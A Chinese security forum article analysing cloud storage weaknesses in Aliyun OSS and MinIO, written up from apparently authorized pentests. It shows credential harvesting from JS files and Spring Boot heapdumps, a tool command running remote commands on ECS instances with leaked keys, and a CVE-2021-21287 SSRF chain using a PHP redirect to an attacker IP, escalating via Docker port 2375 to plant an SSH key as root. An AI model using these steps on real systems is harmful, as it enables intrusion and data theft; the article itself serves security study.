问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
浅析云存储安全漏洞
漏洞分析
云存储是以数据存储和管理为核心的云计算系统,为我们提供了一种全新的数据存储模式。云存储的安全是不容忽视的,一旦云存储安全出现问题,那么将会比传统的应用漏洞问题更加严重,因为在云存储中的数据都是海量的,如果发生数据泄露,将会造成严重的后果。本文挑选OSS和minIO作为代表并配合实战,讲解相关漏洞,实战内容均是经过授权的渗透测试,并且相关漏洞均已修复。
1、OSS ===== 1.1、AccessKey泄露 --------------- 如果AccessKey或SecretKey泄露就会导致OSS被完全控制 常见的泄露方式有以下几种: ```php APK文件硬编码 github关键字 JS文件泄漏 heapdump泄露 ``` 拿到AccessKey后的利用方式 ```php 第三方平台 API Explorer 开源工具 ``` ### 1.1.1、JS文件泄漏 当前端正常配置OSS的时候,一般会使用子用户、或者临时密钥的方式,但由于一些开发的安全意识不强,会导致前端js文件泄漏AccessKey。 ![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-b8e4709c898c18c0e8740ff6e69563dbd7747b3a.png) ### 1.1.2、heapdump泄露 Heap Dump仅存在于Springboot项目中,中文名叫堆转储文件,该文件是某个时刻在 JVM 内存中的所有对象的快照。它们对于解决内存泄漏问题和优化 Java 应用程序中的内存使用非常有用。 堆转储通常以二进制格式的 hprof 文件存储。我们可以使用 jhat 或 JVisualVM 等工具打开和分析这些文件,在这里文件中通常有加载到内存中的明文密码信息。 路径:`/heapdump,/actuator/heapdump` 实战: 1、通过相关接口可判断测试网站为spring boot,且存在heapdump文件泄漏 2、下载heapdump文件并读取阿里云API凭证 ![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-cc8c00ddbc1936b0b178caa1fab7ed6254484f58.png) ![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-8d6d2d3abe212f970ff91f322631dfb93172fe1b.png) 3、在heapdump中另外发现了数据库账号密码,获取上万敏感信息 ![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-f6dcdf49508530abcd63c5af4bc212b72e80eb29.png) ![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-8a613eef24a59d242d04a9a48a22e971037e2211.png) ### 1.1.3、利用 #### 1.1.3.1、第三方平台 可以使用行云管家导入云主机,网站地址:<https://yun.cloudbility.com/> ,导入API凭证,可获取到所有机器 ![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-99e20125c6b3b0e6ad861ad7a449330170153c22.png) ![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-99f6bf2715ced4e43f6863e783931969e1de5446.png) #### 1.1.3.2、开源工具 ##### 工具利用: <https://github.com/iiiusky/alicloud-tools> ##### 执行命令(Getshell): 查看所有实例信息 `./AliCloud-Tools -a <AccessKey> -s <SecretKey> ecs --list` ![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-85f968c3dc10f8f7dcb598bdec20801c581c97c0.png) 执行命令 `./AliCloud-Tools -a <AccessKey> -s <SecretKey> [-r <regionId>] ecs exec -I <InstanceId[,InstanceId,InstanceId,...]> -c "curl dnslog"` 需注意只有安装云助手才可以执行命令,而且命令并无回显 ![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-63c54192234d5542e02b1d91d103ede98b92492f.png) #### 1.1.3.3、分析 云助手是专为云服务器ECS打造的原生自动化运维工具,通过免密码、免登录、无需使用跳板机的形式,在ECS实例上实现批量运维、执行命令(Shell、Powershell和Bat)和发送文件等操作。典型的使用场景包括:安装卸载软件、启动或停止服务、分发配置文件和执行一般的命令(或脚本)等。 您可以通过ECS控制台或者调用API使用云助手。 ```php 业务需求 参考文档 相关API 新建一份云助手命令。 创建命令 ● RunCommand ● CreateCommand ``` 所以上面执行命令就是利用的云助手进行的,分析一波源码,直接进入到alicloud-tools-main/cmd/exec.go中,先看到会检测当前实例是否安装了云助手 ![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-b9a15efa91198b8dcc6427eeaa7f1f446f332803.png) alicloud-tools-main/core/ecs.go中CheckCloudAssistantStatus 检测云助手安装情况 ```go // CheckCloudAssistantStatus 检测云助手安装情况 func CheckCloudAssistantStatus(regionId, instanceId string) bool { client, err := common.GetEcsClient(regionId) if err != nil { common.Logger().Error(fmt.Sprintf("【检测云助手安装情况】创建客户端发生异常,异常信息为 %s", err.Error())) return false } request := ecs.CreateDescribeCloudAssistantStatusRequest() request.Scheme = "https" request.InstanceId = &[]string{instanceId} response, err := client.DescribeCloudAssistantStatus(request) if err != nil { common.Logger().Error(fmt.Sprintf("【检测云助手安装情况】创建检测云助手安装情况请求发生异常,异常信息为 %s", err.Error())) return false } if strings.ToLower(response.InstanceCloudAssistantStatusSet.InstanceCloudAssistantStatus[0].CloudAssistantStatus) != "true" { return false } return true } ``` 然后OsType自动判断系统类型,如果无法判断,就人工选择 ![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-8f013a9ff12d29fa4ab832f314197df2f776be1a.png) alicloud-tools-main/core/ecs.go中EcsRunCommand 执行命令 ```go // EcsRunCommand 执行命令 func EcsRunCommand(regionId, scriptType, commandContent string, instanceId string) bool { client, err := common.GetEcsClient(regionId) if err != nil { common.Logger().Error(fmt.Sprintf("【执行命令】创建客户端发生异常,异常信息为 %s", err.Error())) return false } request := ecs.CreateRunCommandRequest() request.Scheme = "https" request.Type = scriptType request.CommandContent = commandContent request.InstanceId = &[]string{instanceId} if common.Verbose { requestByte, _ := json.Marshal(request) fmt.Println(fmt.Sprintf("\r\n EcsRunCommand request is: %s", string(requestByte))) } response, err := client.RunCommand(request) if err != nil { common.Logger().Error(fmt.Sprintf("【执行命令】创建执行命令请求发生异常,异常信息为 %s", err.Error())) return false } if common.Verbose { fmt.Println(fmt.Sprintf("\r\n EcsRunCommand response is: %s", response.String())) } return response.IsSuccess() } ``` 2、minio ======= 2.1、GitHub信息泄漏 -------------- 1、对测试目标小程序解包,得到前端源码 ![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-db5e0c7a0c7124717aacf57bc4837396651b1e89.png) 2、通过查看前端源码,发现站点资源指向一个目标地址,github搜索相关关键字,找到泄漏的后端源码,包含诸多敏感信息,包括存储站点资源的minio ![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-f97b86119489ab89a455b0627da6c4b0d2ed1235.png) 3、根据泄漏的key和秘钥,成功登陆minio后台,包含站点所有资源 ![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-6bfc98c21a8236d0ed95f05f40faad5250ebfd49.png) 2.2、Bucket Policy设置不当 --------------------- 如果将Bucket Policy设置为`Read and Write` ![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-7d3880d97eddc4848b3340d9ed32f8b7f1544d6e.png) 那么当访问`http://minio_out_url/bucket_path/`,就会得到一个XML文件,MinIO的Bucket有一个listObjects的功能,默认最多1000条记录,这就意味着如果你打开永久下载链接模式,那么任何人可以通过fuzz bucket路径来获取保存的所有资源信息,从而造成信息泄漏。 ![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-e2047a89f0777d9e611007675518cdad38d644ae.png) 2.3、SSRF(CVE-2021-21287)导致信息泄漏 ------------------------------ #### **受影响的版本** RELEASE.2019-12-17T23-16-33Z<=版本< RELEASE.2021-01-30T00-20-58Z #### **影响** 攻击者通过操纵 URL 的构建方式(路径遍历等)来读取或更新内部资源。攻击者可以提供或修改服务器上运行的代码将读取或提交数据的 URL,攻击者可能能够读取服务器配置、连接到启用 HTTP 的数据库等内部服务。最严重的情况能导致攻击者直接获取服务器权限。 #### **分析** 在cmd/web-handlers.go中,minio将用户发送的Host构造了新的URL,由于Host是用户可控的,所以攻击者可以构造恶意代码,造成SSRF漏洞。 ```go ctx := newWebContext(r, args, "WebLoginSTS") v := url.Values{} v.Set("Action", webIdentity) v.Set("WebIdentityToken", args.Token) v.Set("Version", stsAPIVersion) scheme := "http" u := &url.URL{ Scheme: scheme, Host: r.Host, } u.RawQuery = v.Encode() req, err := http.NewRequest(http.MethodPost, u.String(), nil) ``` ![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-aa2118ac479a95eb30e84131abfed38fd2c68148.png) #### **漏洞利用** 根据上面分析的源码,构造所需要的内容,Host为攻击ip,我们就能在攻击ip上面看到流量 ![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-c84d5a53833bec1063d62d2729112dad325b4c06.png) 但可以看到请求是PSOT请求,而且只能控制token参数,并且参数经过了URL编码,无法注入换行符等其他特殊字符,这样子就没有办法深入利用。 但是可以利用Go默认的http库,会跟踪302跳转,而且不论是GET还是POST请求。 使用PHP来简单地构造一个302跳转: index.php ip指用于接收信息的攻击ip `<?phpheader('Location: http://ip/attack?arbitrary=params');?>` ![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-5d0f8ffff5962e7d0e652570764c91924bd120c8.png) ![](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-cac9a758eb02e295f0dfe375bf52873d9374f863.png) 可以看到攻击流量变成了GET请求,那么就可以像大部分的SSRF一样,构造payload进行攻击。 #### 进阶getshell 我们可以利用ssrf漏洞,尝试攻击Docker集群的2375端口,执行docker命令,比如操作container、image等 那么如果当前运行的container,或者image内有代码或者其他敏感信息,就可以继续深入了。 但是执行命令还是docker的环境内,无法直接控制宿主机。 那么怎么才能控制宿主机呢? 可以从docker命令本身下手,docker 运行 container的时候,可以将本地文件或目录作为volume挂载到container内,并且在container内部,这些文件和目录是可以修改的。前提是服务器是否有ssh服务,如果有的话,那么直接把/root/.ssh目录挂载到container内,比如/tmp/.ssh,然后修改/tmp/.ssh/authorized\_keys 文件,把自己的public key写进去,修改权限为600,然后就可以以root用户登录了。 详细的利用方式可以看https://www.leavesongs.com/PENETRATION/the-collision-of-containers-and-the-cloud-pentesting-a-MinIO.html
发表于 2022-01-05 09:40:24
阅读 ( 10712 )
分类:
漏洞分析
3 推荐
收藏
0 条评论
请先
登录
后评论
苏苏的五彩棒
25 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!